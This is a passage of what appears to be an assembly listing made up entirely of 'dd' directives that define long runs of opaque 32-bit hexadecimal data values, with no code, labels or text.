1CFBB82Eh, 662572E9h, 714D2065h, 0BDFCCCB7h dd 68727350h, 25F3564Ah, 0D8C14E1Ah, 55C5B576h, 93B0A2AAh dd 2129CAEEh, 685106C2h, 0E927AF8Dh, 0DF9E09B7h, 6951826h dd 4B1B905Ch, 58A76816h, 76FC7D27h, 0E941D5C9h, 8808181h dd 52DE5F55h, 25501E7Ah, 8C000CC2h, 0CCBF5B50h, 0F78E5A12h dd 0C4530FEh, 605BD1E9h, 0EB2AA4D9h, 44136E78h, 250DC7F4h dd 0C7FCB38h, 6F48327Dh, 16B2F220h, 968CD75Ah, 30BD4B19h dd 656B68DEh, 4CFE5BC4h, 22A2C14Eh, 6A5D5B8Fh, 5808054Bh dd 7F7FA7EAh, 0C4F7AE2Fh, 16DD951Bh, 35E91694h, 167E8DF3h dd 5F002ED9h, 42B85056h, 2F6AC225h, 0F2C0F8E9h, 8002C9FEh dd 0B75349E1h, 0B2505D05h, 6C639B0h, 981A0C04h, 37F7308Ah dd 4E16CDC1h, 97078C3Dh, 0CFA57BE3h, 0E8AC4A61h, 3243801Bh dd 5D53F0A5h, 0FC200198h, 3A61BD13h, 0D1A2E74Ah, 6804B451h dd 0B8D97E39h, 4EB2F82Ah, 0AFF452EFh, 0EC81C184h, 7D9232E9h dd 8BF1AF05h, 685FCC6Ah, 6D7D272Dh, 0EC792F89h, 0EFBBE905h dd 2DF57990h, 30E85A20h, 0B050526Eh, 1DC0E03Eh, 3D3DFE08h dd 70B283FFh, 0E98AE280h, 986003EAh, 8512C07Bh, 0FE1BB551h dd 17A0CD4Ah, 69C66EDh, 0DA5A6428h, 686242BEh, 9AFD3A3Ch dd 7BBC0BF9h, 0EAFD69C3h, 253F6DBBh, 0E8444256h, 5C253BFCh dd 76784C72h, 0C5897AF3h, 0A1F65DD2h, 5F8375EBh, 0EFABCF28h dd 9C4C06AEh, 1240B792h, 0E92CF828h, 0D22FB26Ah, 20049FD5h dd 30EF669Ah, 0B140153Dh, 7FEC0E4Bh, 39F44426h, 0E9D00902h dd 90EC7C86h, 0CC4F99F2h, 0FE97BEB3h, 11EDB20Bh, 8B3A5EB0h dd 7BE4F6Fh, 20B951B0h, 816AD81Dh, 172F105h, 0EE93D37h dd 5A850F79h, 42FE22BFh, 2FDA6A90h, 1F6210FDh, 703626ABh dd 72E12766h, 1EA23B5Bh, 0D8D95489h, 1C796884h, 0C225F8B9h dd 7FFFA0F7h, 0B772540Ch, 7A0AC282h, 6CCC797Dh, 0B82CE9C7h dd 11A6F516h, 63EF5516h, 28C10B4h, 90367868h, 0B3CE17Fh dd 0EA094F4Bh, 2262A88Dh, 0DAC02C00h, 4D1F609h, 6687DB69h dd 6011988h, 5129E47h, 568CA48h, 4938E9B3h, 47D75BD1h dd 64E90907h, 5A0B9078h, 9814C568h, 0DBB53BAh, 130C22F7h dd 311BF83Ah, 0EBD13512h, 8404E9ACh, 0EF5F829Ah, 68CA7FB1h dd 1295B882h, 0F61D5462h, 7A03093Eh, 16F07D16h, 0B20AC91h dd 24A8F3BFh, 540D01D4h, 61F12966h, 96080578h, 33822209h dd 0C1C51876h, 68D158EBh, 0E2BD22E9h, 0D9461848h, 7301124Dh dd 0BB758457h, 0C3BBAFDh, 0A0D8A2DBh, 97D21BE9h, 93F0EA64h dd 45EB955Fh, 0BC69460Bh, 515C8414h, 0E8A574FCh, 1E6E10E9h dd 432Ch, 0CAA557Dh, 3003E52Dh, 27352218h, 0AB13BB16h dd 5F10D190h, 5C5B02Fh, 4BF7AA0Bh, 0C3095D7Ah, 5A213D7h dd 0FB14A2D2h, 7FC5076h, 81DC5E2Dh, 26996806h, 0DDF627CBh dd 0B14BB0F5h, 88501C96h, 58E685CCh, 4692FB59h, 0B7307097h dd 0E9062E47h, 120C670h, 0E286D4F6h, 0F184F280h, 0A1B92A1Eh dd 14D35982h, 0CABCDA22h, 3F61874Bh, 55522AD1h, 6E44A642h dd 0B1E82534h, 28A3FDA1h, 0E106E8C6h, 0C775C895h, 5D1017B6h dd 0EF05C23Eh, 0E5E0886h, 2C49D13Ch, 0DA17EAFCh, 0CB920667h dd 0EAA1C931h, 4E68B87Bh, 2F3689AEh, 0B73BB77Dh, 895B2536h dd 50EA0B04h, 0EC862C73h, 0C5D2738h, 2F8008BBh, 895C10F4h dd 88BBB741h, 0C1C2F461h, 0C5F850ACh, 84FE53FBh, 4A1A523Dh dd 0F87714D7h, 0C554B7C2h, 79E5DFC9h, 96843792h, 6C53E582h dd 0DE320F42h, 0E90B7322h, 5B7E4629h, 0D2082189h, 3E9B1F04h dd 0ACC8A602h, 2892D3Bh, 0C5035304h, 0D9BB8258h, 7525C80Ah dd 0C4AB0C3h, 86BC86EBh, 7730EF40h, 0BD7F30DEh, 0CD68AD0Eh dd 274D3C49h, 607C621Fh, 0BF02C53Bh, 0B09AFC10h, 0D9505782h dd 692B840Bh, 166BF86Fh, 0FA1BAD3Bh, 0BF544519h, 0C2B1A87Fh dd 0CC18E168h, 1B4525E8h, 1F7ACA46h, 0EF4BF80h, 816BCF11h dd 233EC463h, 57F76602h, 403F1360h, 4820DF38h, 3267F47h dd 0BBF8A5DBh, 0DFD8022Dh, 0FC09E41Ch, 54503160h, 25E95086h dd 28C580B7h, 985A66F5h, 0EFB04CFBh, 0D6AD063Fh, 0CF29C982h dd 0DB5052E2h, 0ED387CBDh, 0B8C73A07h, 47404C17h, 259506BDh dd 0EB7857FBh, 683F567Fh, 31AE1611h, 0EE41DD2Ch, 5EF83CE1h dd 0FC0C53B0h, 0E0B7015Bh, 2F0B7FFEh, 57ABF743h, 0BEB12F57h dd 0BAE89FD2h, 763B8E4h, 8E6859B0h, 0B8A46EBh, 0FFEA80CEh dd 0E22E6E70h, 0DE04EB46h, 7881C8FEh, 0EE04E65Bh, 0B8EEA524h dd 4E852261h, 0B612BAB9h, 7A9E83B3h, 0DC3CEBDEh, 0C3489FFEh dd 6AC2BA92h, 0C01C6F21h, 957D0AC8h, 3EA8BB0h, 28B099B7h dd 8FA5AABCh, 7F12B1F7h, 0E92084C7h, 3BA3E66h, 4440E724h dd 0A61415C0h, 0BA579D2Ch, 4788D4F1h, 0E747F22Dh, 0D1281076h dd 0C569C876h, 0E95121DDh, 3B78DEB4h, 4801EE92h, 0DD43B763h dd 0E5B0EC2Bh, 0A4532712h, 7A0E3DFFh, 45105AA6h, 0E528030Bh dd 0D1DFC580h, 3B74614Fh, 8F400BAh, 0BF5713ABh, 0E10001CFh dd 68E7815Fh, 90385259h, 796C1F9Eh, 0ABD5A5F0h, 0D97E0418h dd 38566803h, 0B0DD47D2h, 12B9EDCAh, 0C1752620h, 3A6C3175h dd 34E9E4E0h, 0E5F9D3D1h, 0CD8A7FC5h, 9A05B250h, 4A69AA8h dd 2CAC0935h, 8FC4AA3Ch, 798F8BEEh, 717DDBAAh, 0EE4C8B8Dh dd 0C7B55FD2h, 6B688499h, 0D639FA56h, 6F61EA2Fh, 622F505Fh dd 88DD4499h, 3343BBF9h, 0AA736FB7h, 1255CF69h, 85F68066h dd 0BD027864h, 9EB019F8h, 4442681Ch, 5695C4E8h, 2D712696h dd 0C6082D51h, 8E801DD1h, 0BBFEF6B7h, 55DC7325h, 4204824Ah dd 9FBDFEF5h, 0EF25EAD0h, 0E902607Dh, 27319CF1h, 2AC704E1h dd 59E00FBBh, 0ACD8AFC5h, 0FC1B8B43h, 406008BEh, 70772231h dd 0C0FBF22Fh, 66E83C6Eh, 0C2F025E9h, 4CC2E056h, 0AA342565h dd 8C3F812Dh, 0E2EE9EDh dd 0CB8136F2h, 338C5185h, 88019560h, 0EDA0D3F7h, 29C4CE89h dd 0CAC48BEBh, 19B56D81h, 0BC938938h, 985227F7h, 0BFEA89C9h dd 81DF9F32h, 674E6836h, 0C693B66Eh, 90FDF53Eh, 521304A1h dd 0FBCA311Bh, 25CAFC84h, 855A557Bh, 0B57D2330h, 888EBAF9h dd 0D4F44BDEh, 0F2E98664h, 0BA00428Fh, 63D50A06h, 1734E281h dd 0FC22215Ah, 0D5E10F1h, 1E27B84Bh, 0DB967AE6h, 0A32F01A1h dd 47E9826Dh, 655EF4F1h, 132AEE52h, 1C754569h, 5FFA29EBh dd 0C4AA9573h, 9C3D54Bh, 47756344h, 4BE985ADh, 25DCAE39h dd 89629E5Eh, 0EBD30EC3h, 504D7749h, 0F6815C85h, 2B50F1BFh dd 59C88E44h, 80D1B8AAh, 0A4685653h, 26F7726Eh, 7DC4E5Eh dd 2B089161h, 0F6D22878h, 1DDC2AEh, 6087F17Dh, 7C0BE9D9h dd 26CDFF5Bh, 8B01BD38h, 0E914A645h, 4ED66CA4h, 0BF3665AFh dd 0E9C2C6E6h, 0F957CCE5h, 0C87FA546h, 0D26E06B7h, 128F0F1Ch dd 0FEADF505h, 6AE1554Dh, 0BE83D5FEh, 278A2215h, 5C125E06h dd 7A250FA9h, 0D90C287Ch, 48BD7006h, 0C7CC5C01h, 750E65Fh dd 224468Eh, 0EE004A26h, 0D894F5B8h, 0E9F00C31h, 0BA6FDE10h dd 0DF306B9Fh, 13CA4434h, 89040C4Ch, 0FC4DDB71h, 61680B57h dd 26ECB077h, 0E443962Bh, 0B69721D2h, 55D7CF10h, 68371D05h dd 0F2B3527Eh, 0A08A0500h, 0AA87E9C8h, 44F2096h, 56B3DFCEh dd 0F5513C66h, 0F72AC820h, 5DD5A49h, 3F32AC7Bh, 0F630A466h dd 32778737h, 0B50F4D76h, 0AE096DCDh, 7A9348BFh, 2C28832Eh dd 0F04AB9B6h, 486AFDE0h, 55C3E4EAh, 2291AE68h, 0D6803A08h dd 3BF912DDh, 4E25E96Bh, 24F35C8h, 20E1AEA8h, 48120C13h dd 572643FCh, 0A8B5120Eh, 0FF5CE2FDh, 0E985AA47h, 11D45B58h dd 383E2EAh, 3E0A738Ah, 0E0BEB45Ah, 0E81201EBh, 0C68009E9h dd 2F1CF8B9h, 0D8DC277Dh, 94F2AA3Eh, 3E305F92h, 8BB80E82h dd 0ABE25011h, 405E90C6h, 0A277B791h, 0C8B42F2Dh, 1372D5Eh dd 86355704h, 0E71E126Ah, 325F1AA8h, 4F2D589Fh, 0EC74E01h dd 0EC53D913h, 0A0BD282Ch, 0D8443BDAh, 0D3872708h, 3A209E50h dd 0C181036Bh, 7C611DD4h, 87A074DAh, 484757BEh, 0CE812001h dd 2B1B33EAh, 16C22F30h, 0A84A1A4Dh, 38B15F31h, 0F5F52EF9h dd 0C067D560h, 2F6DEA57h, 50E251Eh, 0F77E283Eh, 72DED0Ah dd 0AFABF527h, 0B9A405FFh, 5C420190h, 420E4CC9h, 2F2BDB06h dd 0F89E5067h, 0F9EAFFA5h, 5FBC39FBh, 0C5C99AEDh, 0A0ABF075h dd 64405323h, 0FC3C6EC3h, 7D255883h, 0A01F99F0h, 1D572E6Fh dd 84BB6D80h, 63F2D42h, 2D078BF4h, 0E20273Bh, 927C0568h dd 0B6842D9Ch, 73B02F4Eh, 2D765C3Ch, 0E9FC0162h, 0DF8215DEh dd 21A60D9Ch, 81D7C38Bh, 0D95C9493h, 0C46129DDh, 0BBA10B2Ah dd 5455EE62h, 0E64E0B5Ch, 0C2C14E6h, 57C06C4Bh, 9522E568h dd 3C675551h, 0A3C7DD89h, 12D16804h, 0E26F33AAh, 0FC80D882h dd 7B0E7AF6h, 476948h, 581A3184h, 4FC3540h, 9236F4Dh, 0C524C1C6h dd 22317B67h, 4F49490Eh, 4F7CF13Ch, 5C8B838Dh, 827DCA9Ah dd 74B7A5FAh, 0B54A738h, 1B6E5B9Fh, 6D6ADA0Eh, 40C67651h dd 0B8CAD964h, 9280B097h, 0DEE0BD96h, 0F6806DA1h, 1F07797Eh dd 455EF029h, 21AB62Dh, 20E96844h, 9D27DDA2h, 58C1050Eh dd 5C0459F0h, 5300FA0Eh, 0AB236B7h, 5670EA80h, 0C275FA75h dd 352C5B03h, 0A404D028h, 0B5515EC0h, 0F6D6EEEEh, 54D2FFE8h dd 5EC188A6h, 7C252424h, 546B0020h, 0CB93E96h, 0E9F2B578h dd 30A1705Ah, 0EA58F266h, 22084909h, 940DEF05h, 0C1ECAA69h dd 91E3C2F7h, 1BB08946h, 3056573Eh, 0E0BFE7B5h, 2F4E0E0Bh dd 4265EF81h, 32CDAD07h, 0FD8725FCh, 0F70B6DADh, 92A0A9E2h dd 2C3604D8h, 0D52D077Bh, 8B93F929h, 4F595C50h, 84310243h dd 0C2EEE9BFh, 7F58C729h, 0D925BFD9h, 5264BD0Ah, 452FEC71h dd 34EEE1E3h, 0F6FDAD56h, 45E69FEBh, 0E3815B02h, 0F76E4C26h dd 1C19C900h, 682C6B2Ah, 294E7095h, 0A190C610h, 0CD2AC647h dd 5CB22C42h, 3DB85F49h, 0A3B2FBE4h, 56B8B4B4h, 0B6EF04Dh dd 254525Dh, 0DD7EAF73h, 0C8A7A265h, 0C20BAE58h, 10DD681Eh dd 6462D674h, 67DB5DC6h, 0B23856A8h, 46D32476h, 55133013h dd 2CADB505h, 745148A4h, 0D9885AB1h, 4B7240B8h, 59A05066h dd 5E955E42h, 0E0C141A4h, 2068908h, 81318055h, 693D8814h dd 0DD582E5Fh, 420DF195h, 2B415058h, 3B520730h, 57E789B2h dd 821EEFBh, 49E05712h, 0EAD8B75Fh, 0CA0A92F0h, 90C589E5h dd 77A5BA07h, 6AF805F5h, 2B9F00D2h, 298326EBh, 0F85AD72Fh dd 0C0A016B0h, 0AF75BFFEh, 6467FF80h, 5B3858C5h, 0FA458B06h dd 107F0C22h, 77A44025h, 7EFF4864h, 9CE61940h, 0EC37F44Dh dd 0DA5024EEh, 0EF891776h, 5FEACE51h, 0B2D798A0h, 12329520h dd 0E70CCC71h, 0BC557A1h, 411A63C1h, 79420062h, 0F7A0BDC6h dd 0D83015C1h, 6BA60C69h, 0F6707C7Fh, 8D110B6Ah, 53E22955h dd 71C080Dh, 0D573B414h, 0B131BE28h, 834ACA9h, 555A1E85h dd 5233924Ah, 0EB68BB2Eh, 0BD6F5E68h, 8BABB45Dh, 24A34867h dd 0E80B66FFh, 7D234637h, 1D0D9B78h, 620B058Ch, 0DD87C348h dd 0E10B8D76h, 0E31EBB73h, 81F95C6h, 295F9052h, 7576C55Ah dd 0A5938F56h, 23EB02C4h, 119C11C1h, 957378B2h, 0CB88D19Fh dd 17224CF7h, 0AF3FA868h, 0F7016069h, 7097D5B5h, 0FCF3124Ah dd 437D8042h, 4AE93795h, 41A0C398h, 0B0C33C07h, 68C5216Ah dd 0E9DC12BBh, 5811A122h, 0EDCB8505h, 39F2070Bh, 56097F5Bh dd 0A8BE64B1h, 0C62912FCh, 56FA6712h, 3A7505CDh, 20C9C8AEh dd 47933004h, 0E4C5F201h, 7CBB09A0h, 147B3D40h, 6FB4191Eh dd 0E0EBEBD1h, 42DD14Fh, 97E919CEh, 37D2B229h, 74548F33h dd 2FB20512h, 0CCD554B8h, 0ED0E4D12h, 28C61143h, 71D12C2Fh dd 96C17C2h, 204D4657h, 5E4A2776h, 178CAC06h, 98C148B3h dd 9DE3AF93h, 3789D9CBh, 9479C7Fh, 4BAD0FE4h, 32DD40F5h dd 31FE5BF1h, 0A4D170AAh, 6412E612h, 332764BCh, 74A787DBh dd 6A59C9F8h, 664F427h, 0ED9A05A6h, 954AAC10h, 0BDA0FF17h dd 6EDA845Bh, 66D43449h, 4BBED5E9h, 0B8009FB0h, 731A0930h dd 9533ADE9h, 0F9CBBDF1h, 0FC3C6478h, 0C9B85A56h, 3B6464B8h dd 4BBB58BBh, 0ED54F0FBh, 0C294D027h, 786E6806h, 0BBBAC2A4h dd 99025E22h, 0F33E21F7h, 6F29C4D6h, 0C78B0012h, 44595EF2h dd 0CAF12A90h, 7A09088Bh, 88E255DCh, 43D39AB8h, 5157F265h dd 4A538478h, 0E804AB11h, 35FAD47Dh, 49F7FEE3h, 2120AE37h dd 20EB80CBh, 5B74DD61h, 0AD18497h, 0AACCBAEh, 0A9CD47E9h dd 64FAE696h, 0D909BFAFh, 7A5082h, 9108CB25h, 0BA472D06h dd 44ED9C2Ch, 28FC0313h, 61C7EA1h, 0BF0771B8h, 9EF6F2ABh dd 52B14E0Dh, 92F6E92Fh, 0B65991BBh, 0C2D2C282h, 0B1C03290h dd 21EFBB53h, 0E4154A9Eh, 0E324D155h, 0D00034Bh, 96C95AEh dd 0D934CBDAh, 66FDD4ABh, 3A4FB905h, 0AF629E40h, 795B5428h dd 0D853E5F9h, 0C65FDDCEh, 9F375A4h, 0A8804041h, 0D4243976h dd 0A133E72Fh, 0AE942AFh, 0AD02697Ch, 0A2561E68h, 571D779Fh dd 0C46F5A59h, 8CA8786Bh, 0E193E2E7h, 56EB6868h, 0B0592AF0h dd 97023FF7h, 98F3ADC6h, 74010078h, 68D1F732h, 9396785Bh dd 0A27C62h, 4FE2B951h, 13004B4Bh, 5048070Dh, 41190CBBh dd 5D6E6538h, 0E1CB292Eh, 35D6F6CBh, 0A92E240Eh, 25CE88B2h dd 0A7D4E555h dd 3574CE41h, 60585D38h, 8640B6DFh, 0B842C766h, 48F65B1Fh dd 0C829C5EFh, 94F9F0C2h, 295B4EA6h, 422EAC3Ch, 0B7E0A11Eh dd 4ED32987h, 7ACB415Eh, 0F0733223h, 0EB24C1DBh, 0BC1D1002h dd 2F131CBh, 98FF96A5h, 2D01B7AFh, 5FF454E2h, 0DB627D49h dd 0E83FF477h, 0E8AE42E0h, 3E039508h, 0D94F5C1Dh, 0A733F08h dd 3271A58h, 869CB875h, 1B22BFDEh, 535CB3E2h, 0D8CB5D96h dd 8BE5ED97h, 43CFA06Fh, 1BAAEB81h, 0FC3CE67Bh, 5E9E85F3h dd 4E5E6639h, 0FABA2DEEh, 0E96BC0D7h, 4E94B2D7h, 0B087BA35h dd 4A9A30A2h, 7701407Bh, 7662164Fh, 0A5EC024Ah, 0DE609421h dd 92B7BC3Ah, 76907FE3h, 0CABAC62h, 25BD1DC1h, 0CF0AD007h dd 0C2DFFDA3h, 5F042EB9h, 0AFD71CFBh, 99BF4EFEh, 541CD9C7h dd 8E60C766h, 2B402784h, 23A230C1h, 0C8278D1h, 1DF27DF6h dd 0DE40F150h, 0EA6D14E9h, 28C4CEFEh, 0BAFC17E4h, 0B900744Ch dd 3540D571h, 0D252CA8h, 0A33E4246h, 2C16F44Fh, 0BE2ED31h dd 0EE5EC4B5h, 0AF9DEA6Eh, 72885258h, 5AD325E2h, 680523FCh dd 4B8C55B0h, 80B90EB6h, 0F30B46C6h, 9D20E04h, 22D3F55Eh dd 3133162Dh, 0B62EE225h, 97F27E2Bh, 0F25F5869h, 0E3A12C3Ch dd 791C905Eh, 6A860555h, 3D064CC6h, 0EB50D104h, 0F1AD16FCh dd 60080993h, 0D04D2E27h, 584222CDh, 1A4A7D7Ch, 0B7AA5F85h dd 54F027F7h, 679D02F8h, 0BD4374F5h, 8B0A98A8h, 3EF5D497h dd 6EC1DE20h, 5FE60894h, 0D801D23Fh, 4250ED80h, 0F998147Eh dd 2768DC40h, 75F67556h, 6DA478E4h, 1F7406Fh, 57247C5Ah dd 9F43C1ABh, 962C320Ah, 431331F3h, 5077E2D3h, 0AB40065Ch dd 5FFD3021h, 4C15A792h, 0F2816C01h, 4EF66F0Fh, 0F9C73621h dd 0A2434198h, 12120308h, 0E9FC96A1h, 9544F9BBh, 0FC952CDFh dd 0A5BDAC5Bh, 0E969817Dh, 0E67D9C0Fh, 0AD9264D2h, 0AA461878h dd 73ADF2CDh, 9E207DDh, 4685AD7h, 0C0BEBC4Bh, 5F562B1Dh dd 53DF6121h, 7C1AFBE9h, 82F2C087h, 0B5B65128h, 0AC205378h dd 5E407684h, 0E03D12CEh, 61BAF618h, 354ABD90h, 4EE3D490h dd 0E0914B53h, 0A16E643h, 0F0EC296Eh, 68EA0974h, 8F464177h dd 0A3095D09h, 504DF13h, 0CC17804Fh, 57972C37h, 45E06010h dd 5C026F2Dh, 805D144Bh, 95EDAB84h, 6B61EB8Fh, 810513DEh dd 7059FCDh, 2E2BCB3h, 42A5B916h, 0CD5140Fh, 0BB874C0h dd 29C2099Bh, 0F4687F0Eh, 0C29B792Dh, 23545EE9h, 9D69582Dh dd 477E304Ch, 49294D4h, 45441B79h, 0FCDD28C0h, 0DE224CF7h dd 0A320F804h, 0F8F1BA48h, 14E90800h, 0BE5AC9BAh, 2FA60E54h dd 0C0AF4026h, 401B2146h, 0D7794C1Eh, 58A28F48h, 6DAF4F99h dd 19C53E44h, 59CDAC90h, 18759D58h, 0BF579209h, 0D30F8CE4h dd 86358F6Bh, 0C7FA922h, 4752D4C5h, 0C9BC4B16h, 1678F32Dh dd 8172F0F5h, 2CAEC14Bh, 0E915D110h, 4FAFFC87h, 0EB803002h dd 3018D270h, 0EF45E69Ah, 0F9301E46h, 768B0C6Eh, 2930147Eh dd 841B9D7h, 2920BA31h, 786A60FEh, 7B65B74h, 0F2E1D13Bh dd 6DB4064Bh, 35E712B9h, 65C61ACBh, 55F7C1DDh, 252491E5h dd 50FC90BEh, 0BD27BCF6h, 4CDF5BEAh, 26DBBDC1h, 0A30DEE2h dd 0F94A398Eh, 5F343F87h, 0F26779EEh, 0CCEAEFD0h, 20CAA84Dh dd 9007E6E5h, 19DB3915h, 0CC72AA8h, 112615B9h, 0BB17DA18h dd 0C5E95287h, 0EF607C17h, 63CD1B75h, 0B6D3D701h, 0BA83AE04h dd 1B141350h, 938AECF7h, 53055DFCh, 0C0418F20h, 2C0C22DAh dd 18F6950h, 0B3C92ADFh, 3DD2FCBEh, 4A80B8A5h, 8106E3C1h dd 0E086F307h, 9FEE3C2Ch, 55410F64h, 0D9DF1408h, 292B04CDh dd 4945F012h, 23AA68B5h, 0BA3A689h, 46CA685Dh, 65570032h dd 8F66A57Dh, 0EDF4A734h, 0DF584EBFh, 6808FBCCh, 297E3D32h dd 9707509Bh, 0FE7591EAh, 4C0E8956h, 63F060C4h, 0A9A4AF4Fh dd 0DA122E6Eh, 1F2326BEh, 91F8C808h, 31C6D527h, 125D5990h dd 4E2C4EF7h, 8E405BFAh, 0A55E3F27h, 801380B4h, 7AF6A6CAh dd 696A2DD2h, 74D527A0h, 0C6806C85h, 2727F899h, 0E514F189h dd 0CE73A090h, 365E5A2Bh, 2F3991ACh, 0A3E963FEh, 0D626C731h dd 2D39808h, 0E3FA852Dh, 28E1D701h, 885101CCh, 6BE0C16Fh dd 60BB0208h, 2F3D28F8h, 0C9C5DF89h, 3A615688h, 0FEA7548Bh dd 6431D87Ah, 0F120181Fh, 0B9201031h, 2542B866h, 0AA18FCBDh dd 39C7D3E3h, 77FB55EFh, 0D9412E2Bh, 0D2903B96h, 4CDA0BA2h dd 0AD501D6Dh, 2FEDB041h, 97C8CF9Eh, 0FB174EB4h, 7D500163h dd 0DC1C6908h, 125D92B0h, 8BE0BBA2h, 0F77C5029h, 9979BD5Fh dd 90EB313Bh, 0E7800CE8h, 92C664AEh, 1D008AE0h, 0A73AAD1Fh dd 3ABF0F9Ch, 677C5ADEh, 0B1572D05h, 8C59C7B7h, 16702A76h dd 336925B4h, 4AD89B81h, 3AE94046h, 1244E860h, 151900DAh dd 0C886C289h, 0B7120147h, 0F1004227h, 7A4C9B76h, 2F816E0Fh dd 80615804h, 5C924070h, 0C2608BE6h, 0DC3EC710h, 912DA875h dd 0BBDF00B5h, 6FB2AA33h, 7300206Bh, 142ACA56h, 30BC386Dh dd 0EEB4EF8Ah, 44E41937h, 6BD18002h, 0C046B456h, 580F3ACBh dd 53800482h, 94BB6659h, 0F5B87E4Bh, 16DB8740h, 0EBB0FF81h dd 20858646h, 0A189FE31h, 0B16B8B1Eh, 0DB0F80D2h, 39D7B8ECh dd 4778003Dh, 0E19FEA71h, 90F2D86h, 61CAA5F8h, 0CCFAB9B8h dd 4B2542FEh, 4A50B025h, 531D3EF6h, 9EA0BE01h, 0F49CB995h dd 0CB0FCAD1h, 0E07F1B16h, 319A75E1h, 0AC5E00C0h, 8930FA6Ah dd 7103E442h, 62C14798h, 9CC09776h, 0EE24C48h, 0BC4A9474h dd 8E6AB461h, 8DFEF030h, 90004A7h, 19AAB323h, 3006634Ah dd 7AF87CB0h, 3400E74Eh, 0F6FE460Bh, 748EB2Fh, 0D9E51994h dd 0B6B1878Bh, 20422931h, 21ED5511h, 339308D1h, 0CC840C90h dd 42BD48EEh, 0F8243501h, 0DA0D1D40h, 0F0084A5h, 1086A7DCh dd 0C899ADDh, 8A9BE013h, 48004C09h, 0F8FEBADBh, 4C0DFh dd 8C4E5EEh, 0BC7E9F2h, 9A0E0376h, 409D0F5Dh, 2ABE7DE4h dd 7AF400DDh, 0CA7E8810h, 91F623B3h, 9B60500h, 9463EF04h dd 794B0FE4h, 0CE409F3Bh, 0D6228919h, 0B71FCCFBh, 285F2901h dd 0DE7455A4h, 7C1252F4h, 33F7E9Fh, 0A5A2FBD9h, 0E19B2A70h dd 9D9B5BB0h, 5771E500h, 85B167C8h, 3B8D3D02h, 41ED0076h dd 447F14B2h, 6300F9D9h, 26B42353h, 14E5F6A1h, 0DC360CB6h dd 4D819000h, 4F839849h, 849A4B00h, 879D4E50h, 0C09EF253h dd 0CF3C6009h, 0FC0012CEh, 218D4D3h, 31CD8DAh, 1FDC3DD6h dd 902A7BD7h, 0F11D8CA3h, 99401E6Ah, 7FA93D65h, 54B13AA7h dd 0E1414F00h, 6F4E0EE3h, 7E306E00h, 273A4BF5h, 328A0EADh dd 0D98004D1h, 23791A11h, 5F963300h, 38EFE87Eh, 93343B76h dd 3644A80h, 0BC115488h, 9E750500h, 3A826CB8h, 858E0380h dd 76816824h, 88527EC0h, 0FA02BD74h, 2DB514A9h, 0B25C404Eh dd 5C853F1Ah, 5A831800h, 5D881DBBh, 8B20BE00h, 8F252332h dd 0F84B836h, 15B7618Ah, 17B96381h, 9A03F8Dh, 0C87218F4h dd 0B30C68E8h, 869F5301h, 0B1B52A12h, 71B01BC4h, 0A40F01A5h dd 9CC83A3Eh, 6E24FCF0h, 0F40B2501h, 68AC439Ah, 7BF837C9h dd 0BC1517BFh, 44EFC8Eh, 872EE2EFh, 7FE0B890h, 7B4D00F7h dd 0FB4C2447h, 7539DDC4h, 48F200D5h, 0CCB85239h, 6398007Ah dd 0A3381DA1h, 407664Eh, 0BD1BC6E8h, 1C4979A0h, 4DF8D0h dd 0A8F736C7h, 0D206EE75h, 0D56C70F7h, 0A4F1F4A0h, 0F4936524h dd 9EE8F014h, 80FF719Ch dd 0D4337DB2h, 1493F5h, 7C791C91h, 8E31DB01h, 7E5E13Bh dd 0ADE30477h, 51D02140h, 0D9680093h, 9B2CC312h, 2A7A4E82h dd 0F8C16376h, 345EB508h, 64F41DF9h, 1CC276A1h, 80989965h dd 101121DDh, 0C3071C8Eh, 27F56F9h, 34943C30h, 9C4600AAh dd 0B25C82FBh, 7C00C6FCh, 28C414E8h, 98034CEBh, 1D1714Ch dd 0CFD4FD15h, 22D2FB13h, 17D30168h, 1BD7D6FFh, 0F00CFCD8h dd 0D8CA3EFEh, 4CD7570h, 0A2D50819h, 0C324D381h, 0E4702EC8h dd 0C19E4100h, 67C94EAEh, 815A00A9h, 15451763h, 4709DDC5h dd 0C40E40h, 80D40864h, 1418C01Fh, 8F06E286h, 175D008h dd 16618033h, 7D926936h, 865F1B1Eh, 3DFBA701h, 0A420D607h dd 0C4490034h, 0DD53396Ah, 10904727h, 58CF1700h, 3BFC6FD7h dd 6B8700B1h, 0FDFEF53h, 5C03614Eh, 41EB742Ah, 1B8F905Eh dd 6F79C6h, 0A647D7CAh, 0C0218829h, 5253510Eh, 416E8096h dd 1487085h, 0BA00AE6h, 0EC7F657Ah, 0AF3C9B15h, 1553C54h dd 582C73A5h, 84FCD8E3h, 8F622430h, 147C001Ch, 732FC585h dd 3A137600h, 779E2397h, 0D6F63Ch, 28518E47h, 1AF416B3h dd 869CD900h, 2701BDAAh, 0F2D300F5h, 0D61984CCh, 41007B67h dd 0EF77887Ch, 75279Ch, 8F26C7D3h, 6D6EA02Ch, 59AED80Fh dd 2860534Fh, 0F69FE0h, 0F8621C53h, 642DC384h, 26595F07h dd 278116C0h, 0D0FC7EAAh, 0BF02003Fh, 0A1837258h, 1903D62Dh dd 0B2E60796h, 37B0B87Eh, 25110370h, 91D5B1FCh, 165AE800h dd 18415C6Ch, 435E026Eh, 425D6F19h, 509088Ch, 6D6A4D07h dd 73C0EDD7h, 5403DDh, 5807E177h, 9AFCE47Ah, 0C2288E07h dd 86E25988h, 0AB54600Dh, 77DF4B1h, 75086C4Eh, 0FBB38051h dd 721F327Fh, 1D00D78Ah, 0D55AE166h, 251907FAh, 84AA2E74h dd 3ACCC222h, 53C20D40h, 0FAE27801h, 0BE20805Bh, 40C24421h dd 98DF79D4h, 0C938035Ch, 658CE910h, 86EAE100h, 88D1CCDCh dd 0D3CE02DEh, 0D2CDDF89h, 9509088Ch, 0FDDABD07h, 3C07D67h dd 2CC4536Eh, 7577207h, 314C750Ah, 8452B8DFh, 89BDF6E1h dd 736A6CD1h, 0C5024h, 0C157F980h, 0C06B1105h, 0D71C64F1h dd 21824B04h, 44C07C65h, 985ED9C9h, 70410294h, 4B966F2Bh dd 0C4F0C048h, 799F1D88h, 48949093h, 0AB00D4D5h, 63EB9752h dd 0FD98EF51h, 4E427E26h, 0B253491Fh, 3C2C6800h, 1C9759A1h dd 4037C7B7h, 2B9A916Bh, 7A007122h, 4AE3B66h, 1DC2083h dd 0D78D0D31h, 2092949Dh, 0F5038B6Eh, 88A835A9h, 5B80A5CCh dd 0F37F882h, 52923AF7h, 364958A0h, 180089DBh, 0CD2D90E5h dd 7A3D7CFh, 85EC62AEh, 5A17101Ah, 23003683h, 4F70538Ch dd 0B4097Dh, 378FF94Dh, 86276C08h, 4CE6E00Eh, 21338026h dd 